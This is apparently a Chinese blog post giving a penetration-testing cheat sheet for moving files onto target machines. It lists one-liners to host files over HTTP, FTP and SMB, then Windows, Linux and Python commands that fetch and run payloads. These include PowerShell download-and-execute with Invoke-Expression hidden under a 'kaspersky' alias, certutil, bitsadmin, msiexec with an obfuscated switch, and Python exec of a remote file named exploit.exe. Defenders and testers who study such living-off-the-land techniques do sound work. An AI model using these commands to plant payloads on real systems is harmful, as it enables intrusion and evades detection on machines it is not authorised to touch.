渗透中常用的文件下载方法

  1. Python HTTP
    1. python -m SimpleHTTPServer 8080
  2. Python3 HTTP
    1. python3 -m http.server 8080
  3. Python FTP
    1. python -m pyftpdlib -p 8080
  4. Python3 SMB
    1. python3 impacket-smbserver.py files . -port 8080
  5. PHP 5.4+
    1. php -S 0.0.0.0:8080
  6. Ruby
    1. ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start'
  7. Ruby 1.9.2+
    1. ruby -run -e httpd . -p 8080
  8. busybox httpd
    1. busybox httpd -f -p 8080
Download the files
Windows
  1. PowerShell - IWR
    1. powershell.exe -Command "Invoke-WebRequest -Uri [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -OutFile exploit.exe"
  2. PowerShell - IEX
    1. powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('[http://127.0.0.1:8080/upfile.exe',](http://127.0.0.1:8080/upfile.exe',) exploit.exe)"
  3. CMD - Certutil
    1. certutil.exe -urlcache -split -f [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) exploit.exe
  4. CMD - SMB
    1. copy \\127.0.0.1\files\upfile.exe exploit.exe
  5. Windows Bitsadmin
    1. bitsadmin /rawreturn /transfer down "[http://127.0.0.1:8080/upfile.exe"](http://127.0.0.1:8080/upfile.exe") c:\\exploit.exe
  6. Windows msiexec
    1. msiexec /q /i [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe)
    2. msiexec /q /%os:~1,1%[http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe)
  7. Windows PowerShell
    1. powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[http://127.0.0.1:8080/payload.ps1')](http://127.0.0.1:8080/payload.ps1'))
  8. Windows IPC$
    1. copy \127.0.0.1\c$\upfile.exe C:\exploit.exe
Linux
  1. Linux - wget
    1. wget [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -O exploit.exe
  2. Linux - curl
    1. curl [http://127.0.0.1:8080/upfile.exe](http://127.0.0.1:8080/upfile.exe) -o exploit.exe
python
  1. Python Download
    1. python -c "import urllib2; exec urllib2.urlopen('[http://127.0.0.1:8080/upfile.exe').read();"](http://127.0.0.1:8080/upfile.exe').read();")
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bnessy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值